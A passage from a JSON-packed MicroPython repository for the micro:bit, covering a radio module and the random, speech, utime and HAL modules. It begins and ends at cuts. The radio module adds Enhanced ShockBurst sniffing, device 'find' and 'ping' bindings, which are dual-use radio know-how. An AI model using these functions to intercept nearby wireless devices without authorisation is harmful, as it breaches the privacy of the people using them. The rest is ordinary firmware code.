mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_sb_obj, mod_radio_sb);\n\nSTATIC mp_obj_t mod_radio_cx(void) {\n    radio_enable_cx();\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_cx_obj, mod_radio_cx);\n\nSTATIC mp_obj_t mod_radio_ble(void) {\n    radio_enable_ble();\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_ble_obj, mod_radio_ble);\n\nSTATIC mp_obj_t mod_radio_off(void) {\n    radio_disable();\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_off_obj, mod_radio_off);\n\nSTATIC mp_obj_t mod_radio_send_bytes(mp_obj_t buf_in) {\n    mp_buffer_info_t bufinfo;\n    mp_get_buffer_raise(buf_in, &bufinfo, MP_BUFFER_READ);\n    radio_send(bufinfo.buf, bufinfo.len, NULL, 0);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mod_radio_send_bytes_obj, mod_radio_send_bytes);\n\nSTATIC mp_obj_t mod_radio_ping(void) {\n    if (radio_ping())\n        return mp_const_true;\n    return mp_const_false;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_ping_obj, mod_radio_ping);\n\nSTATIC mp_obj_t mod_radio_find(void) {\n    int result;\n    result = radio_find();\n    if (result < 0)\n        return mp_const_false;\n    else\n        return mp_const_true;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_find_obj, mod_radio_find);\n\n\nSTATIC mp_obj_t mod_radio_receive_bytes(void) {\n    return radio_receive(false);\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_receive_bytes_obj, mod_radio_receive_bytes);\n\nSTATIC mp_obj_t mod_radio_send(mp_obj_t buf_in) {\n    mp_uint_t len;\n\n    /* Switch to send_bytes if ESB mode is enabled. */\n    if ((radio_state.mode == MODE_ESB) || (radio_state.mode == MODE_SB) || (radio_state.mode == MODE_CX) || (radio_state.mode == MODE_BLE)) {\n        const char *data = mp_obj_str_get_data(buf_in, &len);\n        radio_send(data, len, NULL, 0);\n    }\n    else\n    {\n        const char *data = mp_obj_str_get_data(buf_in, &len);\n        radio_send(\"\\x01\\x00\\x01\", 3, data, len);\n    }\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mod_radio_send_obj, mod_radio_send);\n\nSTATIC mp_obj_t mod_radio_receive(void) {\n    if ((radio_state.mode == MODE_ESB) || (radio_state.mode == MODE_SB) || (radio_state.mode == MODE_CX) || (radio_state.mode == MODE_BLE))\n        return radio_receive(false);\n    else if (radio_state.mode == MODE_DEFAULT)\n        return radio_receive(true);\n    else\n        return radio_sniff();\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_receive_obj, mod_radio_receive);\n\nSTATIC mp_obj_t mod_radio_sniff(void) {\n    return radio_sniff();\n}\nMP_DEFINE_CONST_FUN_OBJ_0(mod_radio_sniff_obj, mod_radio_sniff);\n\n\nSTATIC const mp_map_elem_t radio_module_globals_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_radio) },\n    { MP_OBJ_NEW_QSTR(MP_QSTR___init__), (mp_obj_t)&mod_radio_reset_obj },\n\n    { MP_OBJ_NEW_QSTR(MP_QSTR_reset), (mp_obj_t)&mod_radio_reset_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_config), (mp_obj_t)&mod_radio_config_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_on), (mp_obj_t)&mod_radio_on_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_off), (mp_obj_t)&mod_radio_off_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_send_bytes), (mp_obj_t)&mod_radio_send_bytes_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_receive_bytes), (mp_obj_t)&mod_radio_receive_bytes_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_send), (mp_obj_t)&mod_radio_send_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_receive), (mp_obj_t)&mod_radio_receive_obj },\n\n    /* ESB Sniffing. */\n    { MP_OBJ_NEW_QSTR(MP_QSTR_sniff_on), (mp_obj_t)&mod_radio_sniff_on_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_sniff), (mp_obj_t)&mod_radio_sniff_obj },\n\n    /* ultra-light ESB mode. */\n    { MP_OBJ_NEW_QSTR(MP_QSTR_esb), (mp_obj_t)&mod_radio_esb_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_sb), (mp_obj_t)&mod_radio_sb_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_cx), (mp_obj_t)&mod_radio_cx_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ble), (mp_obj_t)&mod_radio_ble_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ping), (mp_obj_t)&mod_radio_ping_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_find), (mp_obj_t)&mod_radio_find_obj },\n\n    { MP_OBJ_NEW_QSTR(MP_QSTR_RATE_250KBIT), MP_OBJ_NEW_SMALL_INT(RADIO_MODE_MODE_Nrf_250Kbit) },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_RATE_1MBIT), MP_OBJ_NEW_SMALL_INT(RADIO_MODE_MODE_Nrf_1Mbit) },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_RATE_2MBIT), MP_OBJ_NEW_SMALL_INT(RADIO_MODE_MODE_Nrf_2Mbit) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(radio_module_globals, radio_module_globals_table);\n\nconst mp_obj_module_t radio_module = {\n    .base = { &mp_type_module },\n    //.name = MP_QSTR_radio,\n    .globals = (mp_obj_dict_t*)&radio_module_globals,\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/modrandom.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Paul Sokolovsky\n * Copyright (c) 2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"MicroBitDevice.h\"\n\n#define rand30() (microbit_random(0x40000000))\n#define randbelow(n) (microbit_random(n))\n\nextern \"C\" {\n\n#include <assert.h>\n#include <string.h>\n#include <string.h>\n\n#include \"py/runtime.h\"\n\nSTATIC mp_obj_t mod_random_getrandbits(mp_obj_t num_in) {\n    int n = mp_obj_get_int(num_in);\n    if (n > 30 || n == 0) {\n        mp_raise_ValueError(NULL);\n    }\n    uint32_t mask = ~0;\n    // Beware of C undefined behavior when shifting by >= than bit size\n    mask >>= (32 - n);\n    return mp_obj_new_int_from_uint(rand30() & mask);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mod_random_getrandbits_obj, mod_random_getrandbits);\n\nSTATIC mp_obj_t mod_random_seed(size_t n_args, const mp_obj_t *args) {\n    if (n_args == 0 || args[0] == mp_const_none) {\n        microbit_seed_random();\n    } else {\n        mp_uint_t seed = mp_obj_get_int_truncated(args[0]);\n        microbit_seed_random(seed);\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_random_seed_obj, 0, 1, mod_random_seed);\n\nSTATIC mp_obj_t mod_random_randrange(size_t n_args, const mp_obj_t *args) {\n    mp_int_t start = mp_obj_get_int(args[0]);\n    if (n_args == 1) {\n        // range(stop)\n        if (start > 0) {\n            return mp_obj_new_int(randbelow(start));\n        } else {\n            mp_raise_ValueError(NULL);\n        }\n    } else {\n        mp_int_t stop = mp_obj_get_int(args[1]);\n        if (n_args == 2) {\n            // range(start, stop)\n            if (start < stop) {\n                return mp_obj_new_int(start + randbelow(stop - start));\n            } else {\n                mp_raise_ValueError(NULL);\n            }\n        } else {\n            // range(start, stop, step)\n            mp_int_t step = mp_obj_get_int(args[2]);\n            mp_int_t n;\n            if (step > 0) {\n                n = (stop - start + step - 1) / step;\n            } else if (step < 0) {\n                n = (stop - start + step + 1) / step;\n            } else {\n                mp_raise_ValueError(NULL);\n            }\n            if (n > 0) {\n                return mp_obj_new_int(start + step * randbelow(n));\n            } else {\n                mp_raise_ValueError(NULL);\n            }\n        }\n    }\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_random_randrange_obj, 1, 3, mod_random_randrange);\n\nSTATIC mp_obj_t mod_random_randint(mp_obj_t a_in, mp_obj_t b_in) {\n    mp_int_t a = mp_obj_get_int(a_in);\n    mp_int_t b = mp_obj_get_int(b_in);\n    if (a <= b) {\n        return mp_obj_new_int(a + randbelow(b - a + 1));\n    } else {\n        mp_raise_ValueError(NULL);\n    }\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(mod_random_randint_obj, mod_random_randint);\n\nSTATIC mp_obj_t mod_random_choice(mp_obj_t seq) {\n    mp_int_t len = mp_obj_get_int(mp_obj_len(seq));\n    if (len > 0) {\n        return mp_obj_subscr(seq, mp_obj_new_int(randbelow(len)), MP_OBJ_SENTINEL);\n    } else {\n        mp_raise_msg(&mp_type_IndexError, NULL);\n    }\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mod_random_choice_obj, mod_random_choice);\n\n#if MICROPY_PY_BUILTINS_FLOAT\n\n// returns a number in the range [0..1) using RNG to fill in the fraction bits\nSTATIC mp_float_t randfloat(void) {\n    #if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE\n    typedef uint64_t mp_float_int_t;\n    #elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT\n    typedef uint32_t mp_float_int_t;\n    #endif\n    union {\n        mp_float_t f;\n        #if MP_ENDIANNESS_LITTLE\n        struct { mp_float_int_t frc:MP_FLOAT_FRAC_BITS, exp:MP_FLOAT_EXP_BITS, sgn:1; } p;\n        #else\n        struct { mp_float_int_t sgn:1, exp:MP_FLOAT_EXP_BITS, frc:MP_FLOAT_FRAC_BITS; } p;\n        #endif\n    } u;\n    u.p.sgn = 0;\n    u.p.exp = (1 << (MP_FLOAT_EXP_BITS - 1)) - 1;\n    if (MP_FLOAT_FRAC_BITS <= 30) {\n        u.p.frc = rand30();\n    } else {\n        u.p.frc = ((uint64_t)rand30() << 30) | (uint64_t)rand30();\n    }\n    return u.f - 1;\n}\n\nSTATIC mp_obj_t mod_random_random(void) {\n    return mp_obj_new_float(randfloat());\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_random_random_obj, mod_random_random);\n\nSTATIC mp_obj_t mod_random_uniform(mp_obj_t a_in, mp_obj_t b_in) {\n    mp_float_t a = mp_obj_get_float(a_in);\n    mp_float_t b = mp_obj_get_float(b_in);\n    return mp_obj_new_float(a + (b - a) * randfloat());\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(mod_random_uniform_obj, mod_random_uniform);\n\n#endif\n\nSTATIC const mp_rom_map_elem_t mp_module_random_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_random) },\n    { MP_ROM_QSTR(MP_QSTR_getrandbits), MP_ROM_PTR(&mod_random_getrandbits_obj) },\n    { MP_ROM_QSTR(MP_QSTR_seed), MP_ROM_PTR(&mod_random_seed_obj) },\n    { MP_ROM_QSTR(MP_QSTR_randrange), MP_ROM_PTR(&mod_random_randrange_obj) },\n    { MP_ROM_QSTR(MP_QSTR_randint), MP_ROM_PTR(&mod_random_randint_obj) },\n    { MP_ROM_QSTR(MP_QSTR_choice), MP_ROM_PTR(&mod_random_choice_obj) },\n    { MP_ROM_QSTR(MP_QSTR_random), MP_ROM_PTR(&mod_random_random_obj) },\n    { MP_ROM_QSTR(MP_QSTR_uniform), MP_ROM_PTR(&mod_random_uniform_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(mp_module_random_globals, mp_module_random_globals_table);\n\nconst mp_obj_module_t random_module = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_random_globals,\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/modspeech.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Mark Shannon\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#include<stdio.h>\n\n#include \"py/obj.h\"\n#include \"microbit/filesystem.h\"\n#include \"py/objtuple.h\"\n#include \"py/objstr.h\"\n#include \"microbit/modaudio.h\"\n#include \"lib/sam/render.h\"\n#include \"lib/sam/reciter.h\"\n#include \"lib/sam/sam.h\"\n\n/** Called by SAM to output byte `b` at `pos` */\n\nstatic microbit_audio_frame_obj_t *buf;\nstatic volatile unsigned int buf_start_pos = 0;\nstatic volatile unsigned int last_pos = 0;\nvolatile bool rendering = false;\nvolatile bool last_frame = false;\nvolatile bool exhausted = false;\nstatic unsigned int glitches;\n\nvoid SamOutputByte(unsigned int pos, unsigned char b) {\n    //printf(\"%d, %d, %d\\r\\n\", pos, SCALE_RATE(pos), b);\n    unsigned int actual_pos = SCALE_RATE(pos);\n    if (buf_start_pos > actual_pos) {\n        glitches++;\n        buf_start_pos -= 32;\n    }\n    while ((actual_pos & (-32)) > buf_start_pos) {\n        // We have filled buffer\n        rendering = true;\n        /* XXX - Busy wait */\n    }\n    unsigned int offset = actual_pos & 31;\n    // write a little bit in advance\n    unsigned int end = min(offset+4, 32);\n    while (offset < end) {\n        buf->data[offset] = b;\n        offset++;\n    }\n    last_pos = actual_pos;\n    return;\n}\n\ntypedef struct _speech_iterator_t {\n    mp_obj_base_t base;\n    microbit_audio_frame_obj_t *buf;\n    microbit_audio_frame_obj_t *empty;\n} speech_iterator_t;\n\n/** This iterator assumes that the speech renderer can generate samples\n * at least as fast as we can consume them */\nstatic mp_obj_t next(mp_obj_t iter) {\n    if (exhausted) {\n        return MP_OBJ_STOP_ITERATION;\n    }\n    if (last_frame) {\n        exhausted = true;\n        last_frame = false;\n    }\n    // May need to wait for reciter to do its job before renderer generate samples.\n    if (rendering) {\n        buf_start_pos += 32;\n        return buf;\n    } else {\n        return ((speech_iterator_t *)iter)->empty;\n    }\n}\n\nconst mp_obj_type_t speech_iterator_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_iterator,\n    .print = NULL,\n    .make_new = NULL,\n    .call = NULL,\n    .unary_op = NULL,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = NULL,\n    .getiter = mp_identity_getiter,\n    .iternext = next,\n};\n\nstatic mp_obj_t make_speech_iter(void) {\n    speech_iterator_t *result = m_new_obj(speech_iterator_t);\n    result->base.type = &speech_iterator_type;\n    result->empty = new_microbit_audio_frame();\n    result->buf = new_microbit_audio_frame();\n    return result;\n}\n\nstatic mp_obj_t translate(mp_obj_t words) {\n    mp_uint_t len, outlen;\n    const char *txt = mp_obj_str_get_data(words, &len);\n    // Reciter truncates *output* at about 120 characters.\n    // So to avoid that we must disallow any input that will exceed that.\n    if (len > 80) {\n        mp_raise_ValueError(\"text too long\");\n    }\n    reciter_memory *mem = m_new(reciter_memory, 1);\n    MP_STATE_PORT(speech_data) = mem;\n    for (mp_uint_t i = 0; i < len; i++) {\n        mem->input[i] = txt[i];\n    }\n    mem->input[len] = '[';\n    if (!TextToPhonemes(mem)) {\n        MP_STATE_PORT(speech_data) = NULL;\n        mp_raise_ValueError(\"could not parse input\");\n    }\n    for (outlen = 0; outlen < 255; outlen++) {\n        if (mem->input[outlen] == 155) {\n            break;\n        }\n    }\n    mp_obj_t res = mp_obj_new_str_of_type(&mp_type_str, (byte *)mem->input, outlen);\n    // Prevent input becoming invisible to GC due to tail-call optimisation.\n    MP_STATE_PORT(speech_data) = NULL;\n    return res;\n}MP_DEFINE_CONST_FUN_OBJ_1(translate_obj, translate);\n\nextern int debug;\n\nstatic mp_obj_t articulate(mp_obj_t phonemes, mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args, bool sing) {\n\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_pitch,    MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = DEFAULT_PITCH} },\n        { MP_QSTR_speed,    MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = DEFAULT_SPEED} },\n        { MP_QSTR_mouth,    MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = DEFAULT_MOUTH} },\n        { MP_QSTR_throat,   MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = DEFAULT_THROAT} },\n        { MP_QSTR_debug,   MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} },\n    };\n\n    // parse args\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n    sam_memory *sam = m_new(sam_memory, 1);\n    MP_STATE_PORT(speech_data) = sam;\n\n    // set the current saved speech state\n    sam->common.singmode = sing;\n    sam->common.pitch  = args[0].u_int;\n    sam->common.speed  = args[1].u_int;\n    sam->common.mouth  = args[2].u_int;\n    sam->common.throat = args[3].u_int;\n    debug = args[4].u_bool;\n\n    mp_uint_t len;\n    const char *input = mp_obj_str_get_data(phonemes, &len);\n    buf_start_pos = 0;\n    speech_iterator_t *src = make_speech_iter();\n    buf = src->buf;\n    /* We need to wait for reciter to do its job */\n    rendering = false;\n    exhausted = false;\n    glitches = 0;\n    audio_play_source(src, mp_const_none, mp_const_none, false);\n\n    SetInput(sam, input, len);\n    if (!SAMMain(sam))\n    {\n        audio_stop();\n        MP_STATE_PORT(speech_data) = NULL;\n        mp_raise_ValueError(sam_error);\n    }\n\n    last_frame = true;\n    /* Wait for audio finish before returning */\n    while (microbit_audio_is_playing());\n    MP_STATE_PORT(speech_data) = NULL;\n    if (debug) {\n        printf(\"Glitches: %d\\r\\n\", glitches);\n    }\n    return mp_const_none;\n}\n\nstatic mp_obj_t say(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    mp_obj_t phonemes = translate(pos_args[0]);\n    return articulate(phonemes, n_args-1, pos_args+1, kw_args, false);\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(say_obj, 1, say);\n\nstatic mp_obj_t pronounce(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    return articulate(pos_args[0], n_args-1, pos_args+1, kw_args, false);\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(pronounce_obj, 1, pronounce);\n\nstatic mp_obj_t sing(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    return articulate(pos_args[0], n_args-1, pos_args+1, kw_args, true);\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(sing_obj, 1, sing);\n\nstatic const mp_map_elem_t _globals_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_speech) },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_say), (mp_obj_t)&say_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_sing), (mp_obj_t)&sing_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pronounce), (mp_obj_t)&pronounce_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_translate), (mp_obj_t)&translate_obj },\n};\nstatic MP_DEFINE_CONST_DICT(_globals, _globals_table);\n\nconst mp_obj_module_t speech_module = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&_globals,\n};\n"
  },
  {
    "path": "micropython/source/microbit/modthis.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n\nextern \"C\" {\n\n#include \"py/obj.h\"\n#include \"microbit/modmicrobit.h\"\n\nSTATIC mp_obj_t this__init__(void) {\n    STATIC const char *this_text =\n\"The Zen of MicroPython, by Nicholas H. Tollervey\\n\"\n\"\\n\"\n\"Code,\\n\"\n\"Hack it,\\n\"\n\"Less is more,\\n\"\n\"Keep it simple,\\n\"\n\"Small is beautiful,\\n\"\n\"\\n\"\n\"Be brave! Break things! Learn and have fun!\\n\"\n\"Express yourself with MicroPython.\\n\"\n\"\\n\"\n\"Happy hacking! :-)\\n\";\n    mp_printf(&mp_plat_print, \"%s\", this_text);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(this___init___obj, this__init__);\n\nSTATIC mp_obj_t this_authors(void) {\n    /*\n    If you contribute code to this project, add your name here.\n    */\n    STATIC const char *authors_text =\n\"MicroPython on the micro:bit is brought to you by:\\n\"\n\"Damien P. George, Mark Shannon, Radomir Dopieralski, Matthew Else,\\n\"\n\"Carol Willing, Tom Viner, Alan Jackson, Nick Coghlan, Joseph Haig,\\n\"\n\"Alex Chan, Andrea Grandi, Paul Egan, Piotr Kasprzyk, Andrew Mulholland,\\n\"\n\"Matt Wheeler, Joe Glancy, Abbie Brooks and Nicholas H. Tollervey.\\n\";\n    mp_printf(&mp_plat_print, \"%s\", authors_text);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(this_authors_obj, this_authors);\n\nSTATIC const mp_map_elem_t this_module_globals_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_this) },\n    { MP_OBJ_NEW_QSTR(MP_QSTR___init__), (mp_obj_t)&this___init___obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_authors), (mp_obj_t)&this_authors_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(this_module_globals, this_module_globals_table);\n\nconst mp_obj_module_t this_module = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&this_module_globals,\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/modutime.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"extmod/utime_mphal.h\"\n\nSTATIC const mp_rom_map_elem_t utime_module_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_utime) },\n\n    { MP_ROM_QSTR(MP_QSTR_sleep), MP_ROM_PTR(&mp_utime_sleep_obj) },\n    { MP_ROM_QSTR(MP_QSTR_sleep_ms), MP_ROM_PTR(&mp_utime_sleep_ms_obj) },\n    { MP_ROM_QSTR(MP_QSTR_sleep_us), MP_ROM_PTR(&mp_utime_sleep_us_obj) },\n    { MP_ROM_QSTR(MP_QSTR_ticks_ms), MP_ROM_PTR(&mp_utime_ticks_ms_obj) },\n    { MP_ROM_QSTR(MP_QSTR_ticks_us), MP_ROM_PTR(&mp_utime_ticks_us_obj) },\n    { MP_ROM_QSTR(MP_QSTR_ticks_add), MP_ROM_PTR(&mp_utime_ticks_add_obj) },\n    { MP_ROM_QSTR(MP_QSTR_ticks_diff), MP_ROM_PTR(&mp_utime_ticks_diff_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(utime_module_globals, utime_module_globals_table);\n\nconst mp_obj_module_t utime_module = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&utime_module_globals,\n};\n"
  },
  {
    "path": "micropython/source/microbit/mphalport.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"us_ticker_api.h\"\n#include \"wait_api.h\"\n#include \"MicroBitSystemTimer.h\"\n#include \"MicroBitSerial.h\"\n\nextern \"C\" {\n\n#include \"py/runtime.h\"\n#include \"py/mphal.h\"\n#include \"lib/utils/interrupt_char.h\"\n#include \"microbit/modmicrobit.h\"\n\n#define UART_RX_BUF_SIZE (64) // it's large so we can paste example code\n\nstatic uint8_t uart_rx_buf[UART_RX_BUF_SIZE];\nstatic volatile uint16_t uart_rx_buf_head, uart_rx_buf_tail;\n\nMicroBitSerial ubit_serial(USBTX, USBRX);\n\nvoid uart_rx_irq(void) {\n    if (!ubit_serial.readable()) {\n        return;\n    }\n    int c = ubit_serial.getc();\n    if (c == mp_interrupt_char) {\n        mp_keyboard_interrupt();\n    } else {\n        uint16_t next_head = (uart_rx_buf_head + 1) % UART_RX_BUF_SIZE;\n        if (next_head != uart_rx_buf_tail) {\n            // only store data if room in buf\n            uart_rx_buf[uart_rx_buf_head] = c;\n            